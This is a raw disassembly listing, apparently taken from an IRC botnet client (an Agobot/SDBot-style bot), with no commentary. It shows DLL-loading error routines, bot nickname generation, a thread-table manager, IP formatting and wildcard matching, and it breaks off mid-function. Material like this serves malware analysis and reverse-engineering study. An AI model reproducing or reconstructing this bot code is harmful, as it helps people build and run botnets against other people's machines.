call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A94E: ; CODE XREF: sub_40A7CE+152j
cmp dword_4CB06C, esi
jz short loc_40A982
push dword_4CB070
lea eax, [ebp+var_200]
push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A982: ; CODE XREF: sub_40A7CE+186j
cmp dword_4CB074, esi
jz short loc_40A9B6
push dword_4CB078
lea eax, [ebp+var_200]
push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A9B6: ; CODE XREF: sub_40A7CE+1BAj
cmp dword_4CB07C, esi
jz short loc_40A9EA
push dword_4CB080
lea eax, [ebp+var_200]
push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40A9EA: ; CODE XREF: sub_40A7CE+1EEj
cmp dword_4CB084, esi
jz short loc_40AA1E
push dword_4CB088
lea eax, [ebp+var_200]
push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA1E: ; CODE XREF: sub_40A7CE+222j
cmp dword_4CB08C, esi
jz short loc_40AA52
push dword_4CB090
lea eax, [ebp+var_200]
push offset aShell32_dllFai ; "Shell32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA52: ; CODE XREF: sub_40A7CE+256j
cmp dword_4CB094, esi
jz short loc_40AA86
push dword_4CB098
lea eax, [ebp+var_200]
push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AA86: ; CODE XREF: sub_40A7CE+28Aj
cmp dword_4CB09C, esi
jz short loc_40AABA
push dword_4CB0A0
lea eax, [ebp+var_200]
push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>"
push eax
call sub_41B886
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 20h
loc_40AABA: ; CODE XREF: sub_40A7CE+2BEj
lea eax, [ebp+var_200]
push offset unk_42D338
push eax
call sub_41B886
cmp [ebp+arg_C], esi
pop ecx
pop ecx
jnz short loc_40AAE7
push esi
lea eax, [ebp+var_200]
push edi
push eax
push ebx
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_40AAE7: ; CODE XREF: sub_40A7CE+302j
lea eax, [ebp+var_200]
push eax
call sub_4151AC
pop ecx
pop edi
pop esi
pop ebx
leave
retn
sub_40A7CE endp
; =============== S U B R O U T I N E =======================================
sub_40AAF9 proc near ; CODE XREF: sub_4017ED+4Fp
; sub_401ACD+5C95p ...
arg_0 = dword ptr 4
push [esp+arg_0]
call dword_4CAFB4
cmp eax, 0FFFFFFFFh
jnz short locret_40AB21
push [esp+arg_0]
call dword_4CAFF8
test eax, eax
jnz short loc_40AB1A
or eax, 0FFFFFFFFh
retn
; ---------------------------------------------------------------------------
loc_40AB1A: ; CODE XREF: sub_40AAF9+1Bj
mov eax, [eax+0Ch]
mov eax, [eax]
mov eax, [eax]
locret_40AB21: ; CODE XREF: sub_40AAF9+Dj
retn
sub_40AAF9 endp
; =============== S U B R O U T I N E =======================================
sub_40AB22 proc near ; CODE XREF: sub_4017ED+D6p
mov ecx, dword_4CAE90
xor eax, eax
test ecx, ecx
jz short locret_40AB30
call ecx
locret_40AB30: ; CODE XREF: sub_40AB22+Aj
retn
sub_40AB22 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AB31 proc near ; CODE XREF: sub_401ACD:loc_403F5Dp
var_88 = byte ptr -88h
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 88h
push ebx
push esi
push edi
push 1
pop ebx
lea eax, [ebp+var_8]
xor edi, edi
push ebx
push eax
push edi
xor esi, esi
mov [ebp+var_8], edi
mov [ebp+var_4], ebx
call dword_4CAFF0
mov ecx, eax
sub ecx, edi
jz loc_40ABF7
sub ecx, 32h
jz loc_40ABF0
sub ecx, 48h
jz short loc_40AB91
sub ecx, 6Eh
jz short loc_40AB8A
loc_40AB73: ; CODE XREF: sub_40AB31+8Bj
push eax
lea eax, [ebp+var_88]
push offset unk_42D54C
push eax
call sub_41B886
add esp, 0Ch
jmp short loc_40ABD1
; ---------------------------------------------------------------------------
loc_40AB8A: ; CODE XREF: sub_40AB31+40j
push offset unk_42D528
jmp short loc_40ABC3
; ---------------------------------------------------------------------------
loc_40AB91: ; CODE XREF: sub_40AB31+3Bj
push [ebp+var_8]
call sub_41B4D5
push [ebp+var_8]
mov esi, eax
push edi
push esi
call sub_41B590
add esp, 10h
cmp esi, edi
jz short loc_40ABBE
lea eax, [ebp+var_8]
push ebx
push eax
push esi
call dword_4CAFF0
cmp eax, edi
jz short loc_40ABF7
jmp short loc_40AB73
; ---------------------------------------------------------------------------
loc_40ABBE: ; CODE XREF: sub_40AB31+79j
push offset unk_42D4F8
loc_40ABC3: ; CODE XREF: sub_40AB31+5Ej
; sub_40AB31+C4j
lea eax, [ebp+var_88]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40ABD1: ; CODE XREF: sub_40AB31+57j
lea eax, [ebp+var_88]
mov [ebp+var_4], edi
push eax
call sub_4151AC
pop ecx
loc_40ABE1: ; CODE XREF: sub_40AB31+C8j
; sub_40AB31+DCj
push esi
call sub_41B0B1
mov eax, [ebp+var_4]
pop ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_40ABF0: ; CODE XREF: sub_40AB31+32j
push offset unk_42D4C8
jmp short loc_40ABC3
; ---------------------------------------------------------------------------
loc_40ABF7: ; CODE XREF: sub_40AB31+29j
; sub_40AB31+89j
cmp [esi], edi
jbe short loc_40ABE1
lea ebx, [esi+4]
loc_40ABFE: ; CODE XREF: sub_40AB31+DAj
push ebx
call dword_4CAFEC
inc edi
add ebx, 18h
cmp edi, [esi]
jb short loc_40ABFE
jmp short loc_40ABE1
sub_40AB31 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AC0F proc near ; CODE XREF: sub_401ACD+2247p
; sub_401ACD+2398p ...
var_14 = byte ptr -14h
var_10 = byte ptr -10h
var_F = byte ptr -0Fh
var_E = byte ptr -0Eh
var_D = byte ptr -0Dh
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
push esi
push 10h
pop eax
mov [ebp+var_4], eax
push eax
lea eax, [ebp+var_14]
push 0
push eax
call sub_41B590
add esp, 0Ch
lea eax, [ebp+var_4]
push eax
lea eax, [ebp+var_14]
push eax
push [ebp+arg_0]
call dword_4CAF18
movzx eax, [ebp+var_D]
push eax
mov esi, offset dword_4CB0A4
movzx eax, [ebp+var_E]
push eax
movzx eax, [ebp+var_F]
push eax
movzx eax, [ebp+var_10]
push eax
push offset aD_D_D_D ; "%d.%d.%d.%d"
push esi
call sub_41B886
add esp, 18h
mov eax, esi
pop esi
leave
retn
sub_40AC0F endp
; =============== S U B R O U T I N E =======================================
sub_40AC68 proc near ; CODE XREF: sub_412B08+24Cp
; sub_412B08+292p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, [esp+4+arg_4]
xor eax, eax
cmp esi, 1
jle short loc_40AC91
mov ecx, esi
push edi
shr ecx, 1
mov edx, ecx
neg edx
lea esi, [esi+edx*2]
mov edx, [esp+8+arg_0]
loc_40AC84: ; CODE XREF: sub_40AC68+24j
movzx edi, word ptr [edx]
add eax, edi
inc edx
inc edx
dec ecx
jnz short loc_40AC84
pop edi
jmp short loc_40AC95
; ---------------------------------------------------------------------------
loc_40AC91: ; CODE XREF: sub_40AC68+Aj
mov edx, [esp+4+arg_0]
loc_40AC95: ; CODE XREF: sub_40AC68+27j
test esi, esi
pop esi
jz short loc_40AC9F
movzx ecx, byte ptr [edx]
add eax, ecx
loc_40AC9F: ; CODE XREF: sub_40AC68+30j
mov ecx, eax
and eax, 0FFFFh
shr ecx, 10h
add ecx, eax
mov eax, ecx
shr eax, 10h
add eax, ecx
not eax
retn
sub_40AC68 endp
; =============== S U B R O U T I N E =======================================
sub_40ACB5 proc near ; CODE XREF: sub_40B08D+49p
; DATA XREF: ___:off_42D598o
arg_0 = dword ptr 4
push esi
push edi
nop
call near ptr 2680865h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
xor edx, edx
mov ecx, 48Fh
div ecx
mov edi, [esp+8+arg_0]
push off_42D600[edx*4]
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD1D
loc_40ACF7: ; CODE XREF: sub_40ACB5+66j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B468
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40ACF7
loc_40AD1D: ; CODE XREF: sub_40ACB5+40j
mov eax, edi
pop edi
pop esi
retn
sub_40ACB5 endp
; ---------------------------------------------------------------------------
dw 5756h
db 90h
db 0E8h, 3Bh, 5Bh
; ---------------------------------------------------------------------------
daa
add dl, [eax-18h]
test al, 0Bh
add [eax], eax
mov edi, [esp+10h]
mov dword ptr [esp], offset asc_42913C ; "-"
push offset aS_1 ; "%s"
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AD7B
loc_40AD55: ; CODE XREF: ___:0040AD79j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B468
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AD55
loc_40AD7B: ; CODE XREF: ___:0040AD53j
mov eax, edi
pop edi
pop esi
retn
; =============== S U B R O U T I N E =======================================
sub_40AD80 proc near ; CODE XREF: sub_401ACD+69CCp
arg_0 = dword ptr 4
push ebx
push esi
push edi
nop
call near ptr 2680865h
push eax
call sub_41B8D8
pop ecx
call sub_41B8E2
push 3
mov ebx, [esp+10h+arg_0]
cdq
pop ecx
xor edi, edi
idiv ecx
mov esi, edx
add esi, dword_429098
test esi, esi
jle short loc_40ADC3
loc_40ADAD: ; CODE XREF: sub_40AD80+41j
call sub_41B8E2
push 1Ah
cdq
pop ecx
idiv ecx
add dl, 61h
mov [edi+ebx], dl
inc edi
cmp edi, esi
jl short loc_40ADAD
loc_40ADC3: ; CODE XREF: sub_40AD80+2Bj
and byte ptr [edi+ebx], 0
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40AD80 endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
and dword ptr [ebp-4], 0
push esi
push edi
mov dword ptr [ebp-8], 100h
nop
call near ptr 2680865h
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-8]
mov esi, offset byte_431258
push eax
push esi
nop
call near ptr 26B0000h
movsx eax, byte_431258
push 41h
pop ecx
push 1
pop edx
loc_40AE09: ; CODE XREF: ___:0040AE14j
cmp eax, ecx
jnz short loc_40AE10
mov [ebp-4], edx
loc_40AE10: ; CODE XREF: ___:0040AE0Bj
inc ecx
cmp ecx, 5Bh
jl short loc_40AE09
push 61h
pop ecx
loc_40AE19: ; CODE XREF: ___:0040AE24j
cmp eax, ecx
jnz short loc_40AE20
mov [ebp-4], edx
loc_40AE20: ; CODE XREF: ___:0040AE1Bj
inc ecx
cmp ecx, 7Bh
jl short loc_40AE19
mov edi, [ebp+8]
push esi
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 0Ch
cmp dword_429098, esi
jle short loc_40AE65
loc_40AE3F: ; CODE XREF: ___:0040AE63j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B468
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AE3F
loc_40AE65: ; CODE XREF: ___:0040AE3Dj
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 0Ch
push esi
push edi
nop
call near ptr 2680865h
push eax
call sub_41B8D8
pop ecx
lea eax, [ebp-0Ch]
push 0Ah
push eax
push 7
push 800h
nop
call near ptr 26C0000h
mov edi, [ebp+8]
lea eax, [ebp-0Ch]
push eax
push offset dword_43125C
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AEDA
loc_40AEB4: ; CODE XREF: ___:0040AED8j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B468
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AEB4
loc_40AEDA: ; CODE XREF: ___:0040AEB2j
mov eax, edi
pop edi
pop esi
leave
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
sub esp, 94h
push esi
lea eax, [ebp-94h]
push edi
push eax
mov esi, offset dword_43D128
mov dword ptr [ebp-94h], 94h
nop
call near ptr 26C056Ah
nop
call near ptr 2680865h
push eax
call sub_41B8D8
cmp dword ptr [ebp-90h], 4
pop ecx
jnz short loc_40AF64
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF44
cmp dword ptr [ebp-84h], 1
jnz short loc_40AF34
mov esi, offset dword_431284
loc_40AF34: ; CODE XREF: ___:0040AF2Dj
cmp dword ptr [ebp-84h], 2
jnz short loc_40AFA0
mov esi, offset dword_431280
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF44: ; CODE XREF: ___:0040AF24j
cmp dword ptr [ebp-8Ch], 0Ah
jnz short loc_40AF54
mov esi, offset dword_43127C
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF54: ; CODE XREF: ___:0040AF4Bj
cmp dword ptr [ebp-8Ch], 5Ah
jnz short loc_40AF9B
mov esi, offset dword_431278
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF64: ; CODE XREF: ___:0040AF1Bj
cmp dword ptr [ebp-90h], 5
jnz short loc_40AF9B
cmp dword ptr [ebp-8Ch], 0
jnz short loc_40AF7D
mov esi, offset dword_431274
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF7D: ; CODE XREF: ___:0040AF74j
cmp dword ptr [ebp-8Ch], 1
jnz short loc_40AF8D
mov esi, offset dword_431270
jmp short loc_40AFA0
; ---------------------------------------------------------------------------
loc_40AF8D: ; CODE XREF: ___:0040AF84j
cmp dword ptr [ebp-8Ch], 2
mov esi, offset dword_43126C
jz short loc_40AFA0
loc_40AF9B: ; CODE XREF: ___:0040AF5Bj
; ___:0040AF6Bj
mov esi, offset dword_431268
loc_40AFA0: ; CODE XREF: ___:0040AF3Bj
; ___:0040AF42j ...
mov edi, [ebp+8]
push esi
push offset dword_431260
push 1Ch
push edi
call sub_41B980
xor esi, esi
add esp, 10h
cmp dword_429098, esi
jle short loc_40AFE4
loc_40AFBE: ; CODE XREF: ___:0040AFE2j
call sub_41B8E2
push 0Ah
cdq
pop ecx
idiv ecx
push edx
push edi
push offset dword_42B468
push 1Ch
push edi
call sub_41B980
add esp, 14h
inc esi
cmp esi, dword_429098
jl short loc_40AFBE
loc_40AFE4: ; CODE XREF: ___:0040AFBCj
mov eax, edi
pop edi
pop esi
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40AFEA proc near ; CODE XREF: sub_40B08D+5Cp
var_1C = byte ptr -1Ch
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 1Ch
push esi
nop
call near ptr 2680865h
xor edx, edx
mov ecx, 5265C00h
div ecx
push 0
push offset aMirc_0 ; "mIRC"
mov esi, eax
cmp esi, 64h
jbe short loc_40B039
call dword_4CAF80
test eax, eax
mov eax, offset dword_431290
jnz short loc_40B022
mov eax, offset dword_43D128
loc_40B022: ; CODE XREF: sub_40AFEA+31j
push eax
push esi
push offset dword_431288
lea eax, [ebp+var_1C]
push 1Ch
push eax
call sub_41B980
add esp, 14h
jmp short loc_40B059
; ---------------------------------------------------------------------------
loc_40B039: ; CODE XREF: sub_40AFEA+22j
call dword_4CAF80
test eax, eax
mov eax, offset dword_431290
jnz short loc_40B04D
mov eax, offset dword_43D128
loc_40B04D: ; CODE XREF: sub_40AFEA+5Cj
push eax
lea eax, [ebp+var_1C]
push eax
call sub_41B886
pop ecx
pop ecx
loc_40B059: ; CODE XREF: sub_40AFEA+4Dj
lea eax, [ebp+var_1C]
push eax
call sub_41AFE0
pop ecx
cmp eax, 2
pop esi
jbe short loc_40B088
push 1Ch
lea eax, [ebp+var_1C]
push [ebp+arg_0]
push eax
call sub_41C1E0
lea eax, [ebp+var_1C]
push 1Ch
push eax
push [ebp+arg_0]
call sub_41B5F0
add esp, 18h
loc_40B088: ; CODE XREF: sub_40AFEA+7Dj
mov eax, [ebp+arg_0]
leave
retn
sub_40AFEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B08D proc near ; CODE XREF: sub_4017ED+7Fp
; sub_401955+50p ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
push ebp
mov ebp, esp
push esi
push edi
xor edi, edi
mov esi, offset dword_42D594
loc_40B099: ; CODE XREF: sub_40B08D+3Fj
cmp [ebp+arg_C], 0
jz short loc_40B0B4
lea eax, [esi-0Ch]
push eax
push [ebp+arg_C]
call sub_41C070
neg eax
pop ecx
sbb eax, eax
pop ecx
inc eax
jmp short loc_40B0BE
; ---------------------------------------------------------------------------
loc_40B0B4: ; CODE XREF: sub_40B08D+10j
mov ecx, [esi]
xor eax, eax
cmp ecx, [ebp+arg_4]
setz al
loc_40B0BE: ; CODE XREF: sub_40B08D+25j
test eax, eax
jnz short loc_40B0D0
add esi, 14h
inc edi
cmp esi, offset off_42D60C
jb short loc_40B099
jmp short loc_40B0DE
; ---------------------------------------------------------------------------
loc_40B0D0: ; CODE XREF: sub_40B08D+33j
push [ebp+arg_0]
lea eax, [edi+edi*4]
call off_42D598[eax*4]
pop ecx
loc_40B0DE: ; CODE XREF: sub_40B08D+41j
cmp [ebp+arg_8], 0
pop edi
pop esi
jz short loc_40B0F1
push [ebp+arg_0]
call sub_40AFEA
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_40B0F1: ; CODE XREF: sub_40B08D+57j
mov eax, [ebp+arg_0]
pop ebp
retn
sub_40B08D endp
; =============== S U B R O U T I N E =======================================
sub_40B0F6 proc near ; CODE XREF: ___:00401599p
; ___:004015D8p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = dword ptr 0Ch
push edi
xor edi, edi
mov eax, offset dword_43DCB0
loc_40B0FE: ; CODE XREF: sub_40B0F6+18j
cmp byte ptr [eax], 0
jz short loc_40B112
add eax, 234h
inc edi
cmp eax, offset dword_4CACB0
jl short loc_40B0FE
jmp short loc_40B15D
; ---------------------------------------------------------------------------
loc_40B112: ; CODE XREF: sub_40B0F6+Bj
push esi
mov esi, edi
imul esi, 234h
push 1FFh
push [esp+0Ch+arg_0]
lea eax, dword_43DCB0[esi]
push eax
call sub_41B5F0
mov eax, [esp+14h+arg_4]
add esp, 0Ch
mov dword_43DEB0[esi], eax
and dword_43DEB4[esi], 0
mov eax, [esp+8+arg_8]
and dword_43DEB8[esi], 0
mov dword_43DEBC[esi], eax
and byte_43DEC8[esi], 0
pop esi
loc_40B15D: ; CODE XREF: sub_40B0F6+1Aj
mov eax, edi
pop edi
retn
sub_40B0F6 endp
; ---------------------------------------------------------------------------
byte_40B161 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+2989o
dd 98EC81h, 458B0000h, 6A575608h, 0F08B5926h, 0FF68BD8Dh
dd 0A5F3FFFFh, 0C7F075FFh, 9480h, 100h, 6C858D00h, 0FFFFFFFFh
dd 0FF50F475h, 0FFFF68B5h, 15E8FFh, 75FF0000h, 26CE8ECh
dd 0C4830000h, 90006A14h, 2C4E4FE8h, 555E5F02h, 0EC81EC8Bh
dd 200h, 6A5756h, 681075FFh, 431390h, 0FF0C75FFh, 9FE80875h
dd 83FFFFE8h, 0FF3314C4h, 43DCB0BEh, 3E8000h, 7D833C74h
dd 9750014h, 204BE83h, 75000000h, 8D57562Dh, 0FFFE0085h
dd 0C19868FFh, 0E8500042h, 10682h, 858D016Ah, 0FFFFFE00h
dd 501075FFh, 0FF0C75FFh, 57E80875h, 83FFFFE8h, 0C68124C4h
dd 234h, 0B0FE8147h, 7C004CACh, 0C95E5FB0h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_40B231 proc near ; CODE XREF: sub_401ACD+7BA4p
; sub_40B2BF+12p ...
arg_0 = dword ptr 4
push ebx
push ebp
push esi
mov esi, [esp+0Ch+arg_0]
xor ebx, ebx
xor ebp, ebp
cmp esi, ebx
jle short loc_40B2B9
cmp esi, 400h
jge short loc_40B2B9
imul esi, 234h
push edi
push ebx
push dword_43DEC4[esi]
lea edi, dword_43DEC4[esi]
call near ptr 268090Dh
nop
cmp [edi], ebx
jz short loc_40B269
push 1
pop ebp
loc_40B269: ; CODE XREF: sub_40B231+33j
mov [edi], ebx
lea edi, dword_43DEB8[esi]
mov dword_43DEB0[esi], ebx
mov dword_43DEB4[esi], ebx
mov eax, [edi]
cmp eax, ebx
jbe short loc_40B28A
push eax
call sub_4199C9
pop ecx
loc_40B28A: ; CODE XREF: sub_40B231+50j
mov [edi], ebx
lea edi, dword_43DEBC[esi]
mov byte ptr dword_43DCB0[esi], bl
mov byte_43DEC8[esi], bl
push dword ptr [edi]
call dword_4CB00C
lea esi, dword_43DEC0[esi]
mov [edi], ebx
push dword ptr [esi]
call dword_4CB00C
mov [esi], ebx
pop edi
loc_40B2B9: ; CODE XREF: sub_40B231+Dj
; sub_40B231+15j
mov eax, ebp
pop esi
pop ebp
pop ebx
retn
sub_40B231 endp
; =============== S U B R O U T I N E =======================================
sub_40B2BF proc near ; CODE XREF: sub_40111D+18p
; ___:loc_4017D9p ...
push ebx
push esi
push edi
xor ebx, ebx
xor edi, edi
mov esi, offset dword_43DCB0
loc_40B2CB: ; CODE XREF: sub_40B2BF+2Aj
cmp byte ptr [esi], 0
jz short loc_40B2DC
push edi
call sub_40B231
test eax, eax
pop ecx
jz short loc_40B2DC
inc ebx
loc_40B2DC: ; CODE XREF: sub_40B2BF+Fj
; sub_40B2BF+1Aj
add esi, 234h
inc edi
cmp esi, offset dword_4CACB0
jl short loc_40B2CB
pop edi
mov eax, ebx
pop esi
pop ebx
retn
sub_40B2BF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B2F1 proc near ; CODE XREF: sub_401ACD+418Ep
; sub_401ACD+42E0p ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor ebx, ebx
push edi
mov edi, [ebp+arg_4]
mov [ebp+var_4], ebx
mov esi, offset dword_43DEB4
loc_40B305: ; CODE XREF: sub_40B2F1+43j
mov eax, [esi-4]
cmp eax, [ebp+arg_0]
jnz short loc_40B327
test edi, edi
jle short loc_40B319
cmp [esi], edi
jz short loc_40B319
cmp ebx, edi
jnz short loc_40B327
loc_40B319: ; CODE XREF: sub_40B2F1+1Ej
; sub_40B2F1+22j
push ebx
call sub_40B231
test eax, eax
pop ecx
jz short loc_40B327
inc [ebp+var_4]
loc_40B327: ; CODE XREF: sub_40B2F1+1Aj
; sub_40B2F1+26j ...
add esi, 234h
inc ebx
cmp esi, offset dword_4CAEB4
jl short loc_40B305
mov eax, [ebp+var_4]
pop edi
pop esi
pop ebx
leave
retn
sub_40B2F1 endp
; =============== S U B R O U T I N E =======================================
sub_40B33E proc near ; CODE XREF: ___:00401630p
; sub_401ACD+97Ap ...
arg_0 = dword ptr 4
xor eax, eax
mov ecx, offset dword_43DEB0
loc_40B345: ; CODE XREF: sub_40B33E+1Cj
mov edx, [ecx]
cmp edx, [esp+arg_0]
jnz short loc_40B34E
inc eax
loc_40B34E: ; CODE XREF: sub_40B33E+Dj
add ecx, 234h
cmp ecx, offset dword_4CAEB0
jl short loc_40B345
retn
sub_40B33E endp
; =============== S U B R O U T I N E =======================================
sub_40B35D proc near ; CODE XREF: sub_401ACD+2433p
arg_0 = dword ptr 4
xor eax, eax
push esi
xor edx, edx
mov ecx, offset dword_43DEB0
loc_40B367: ; CODE XREF: sub_40B35D+1Fj
mov esi, [ecx]
cmp esi, [esp+4+arg_0]
jz short loc_40B380
add ecx, 234h
inc edx
cmp ecx, offset dword_4CAEB0
jl short loc_40B367
pop esi
retn
; ---------------------------------------------------------------------------
loc_40B380: ; CODE XREF: sub_40B35D+10j
mov eax, edx
pop esi
retn
sub_40B35D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B384 proc near ; CODE XREF: sub_401ACD+1066p
; sub_401ACD+126Cp ...
var_200 = byte ptr -200h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
sub esp, 200h
xor eax, eax
cmp [ebp+arg_1C], eax
jz short loc_40B39D
push [ebp+arg_1C]
call sub_41B779
pop ecx
loc_40B39D: ; CODE XREF: sub_40B384+Ej
push eax
push [ebp+arg_18]
call sub_40B2F1
pop ecx
test eax, eax
pop ecx
jle short loc_40B3C9
push eax
lea eax, [ebp+var_200]
push [ebp+arg_14]
push [ebp+arg_10]
push offset aSSStopped_DThr ; "%s %s stopped. (%d thread(s) stopped.)"
push eax
call sub_41B886
add esp, 14h
jmp short loc_40B3E3
; ---------------------------------------------------------------------------
loc_40B3C9: ; CODE XREF: sub_40B384+26j
push [ebp+arg_14]
lea eax, [ebp+var_200]
push [ebp+arg_10]
push offset aSNoSThreadFoun ; "%s No %s thread found."
push eax
call sub_41B886
add esp, 10h
loc_40B3E3: ; CODE XREF: sub_40B384+43j
cmp [ebp+arg_C], 0
jnz short loc_40B403
push 0
lea eax, [ebp+var_200]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_409A72
add esp, 14h
loc_40B403: ; CODE XREF: sub_40B384+63j
lea eax, [ebp+var_200]
push eax
call sub_4151AC
pop ecx
leave
retn
sub_40B384 endp
; =============== S U B R O U T I N E =======================================
sub_40B412 proc near ; CODE XREF: sub_4017ED+159p
; ___:0040BA47p ...
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
xor ecx, ecx
imul eax, 234h
mov dword_43DEC4[eax], ecx
mov dword_43DEB0[eax], ecx
mov dword_43DEB4[eax], ecx
mov dword_43DEB8[eax], ecx
mov dword_43DEBC[eax], ecx
mov dword_43DEC0[eax], ecx
mov byte ptr dword_43DCB0[eax], cl
mov byte_43DEC8[eax], cl
retn
sub_40B412 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40B44F proc near ; CODE XREF: sub_401ACD+7E3Bp
; sub_40B57D+6Bp ...
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push esi
mov esi, [ebp+arg_0]
push 1
pop eax
loc_40B459: ; CODE XREF: sub_40B44F+68j
mov cl, [esi]
test cl, cl
jz short loc_40B4B9
cmp eax, 1
jnz short loc_40B4B9
mov edx, [ebp+arg_4]
mov dl, [edx]
test dl, dl
jz short loc_40B4B9
cmp cl, 2Ah
jz short loc_40B4A0
cmp cl, 3Fh
jz short loc_40B483
cmp cl, 5Bh
jz short loc_40B488
xor eax, eax
cmp cl, dl
setz al
loc_40B483: ; CODE XREF: sub_40B44F+26j
inc [ebp+arg_4]
jmp short loc_40B4B3
; ---------------------------------------------------------------------------
loc_40B488: ; CODE XREF: sub_40B44F+2Bj
lea eax, [ebp+arg_4]
inc esi
push eax
lea eax, [ebp+arg_0]
push eax
mov [ebp+arg_0], esi
call sub_40B4E5
mov esi, [ebp+arg_0]
pop ecx
pop ecx
jmp short loc_40B4B3
; ---------------------------------------------------------------------------
loc_40B4A0: ; CODE XREF: sub_40B44F+21j
lea eax, [ebp+arg_4]
push eax
lea eax, [ebp+arg_0]
push eax
call sub_40B57D
mov esi, [ebp+arg_0]
pop ecx
pop ecx
dec esi
loc_40B4B3: ; CODE XREF: sub_40B44F+37j
; sub_40B44F+4Fj
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B459
; ---------------------------------------------------------------------------
loc_40B4B9: ; CODE XREF: sub_40B44F+Ej
; sub_40B44F+13j ...
cmp byte ptr [esi], 2Ah
jnz short loc_40B4C9
cmp eax, 1
jnz short loc_40B4E0
inc esi
mov [ebp+arg_0], esi
jmp short loc_40B4B9
; ---------------------------------------------------------------------------
loc_40B4C9: ; CODE XREF: sub_40B44F+6Dj
cmp eax, 1
